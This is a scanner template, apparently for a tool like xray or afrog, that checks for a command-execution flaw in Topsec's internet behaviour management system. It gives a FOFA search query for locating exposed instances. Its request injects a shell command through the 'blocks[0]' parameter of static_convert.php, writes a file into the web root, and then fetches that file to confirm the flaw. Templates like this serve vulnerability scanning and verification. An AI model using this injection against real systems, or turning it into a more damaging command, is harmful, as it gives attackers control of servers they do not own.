topsec-topacm-rce: 天融信上网行为管理 RCE

id: topsec-topacm-rce

info:
  name: 天融信上网行为管理 RCE
  author: daffainfo
  severity: critical
  verified: true
  description: |
    天融信上网行为管理系统是天融信公司凭借多年来的安全产品研发经验，为满足各行各业进行网络行为管理和内容审计的专业产品。天融信上网行为管理系统存在命令执行漏洞，攻击者可利用该漏洞获取服务器控制权。
    fofa-query: app="天融信-上网行为管理系统"[已验证]
  reference:
    - https://mp.weixin.qq.com/s/s_bv4k92Zz-kZFieKN2Qlg
    

set:
  r1: randomLowercase(20)
  r2: randomLowercase(20)
rules:
  r0:
    request:
      method: GET
      path: /view/IPV6/naborTable/static_convert.php?blocks[0]=||  echo '{{r2}}' >> /var/www/html/{{r1}}.txt%0A
    expression: response.status == 200 && response.body.bcontains(bytes(r1))
  r1:
    request:
      method: GET
      path: /{{r1}}.txt
    expression: response.status == 200 && response.body.bcontains(bytes(r2))
expression: r0() && r1()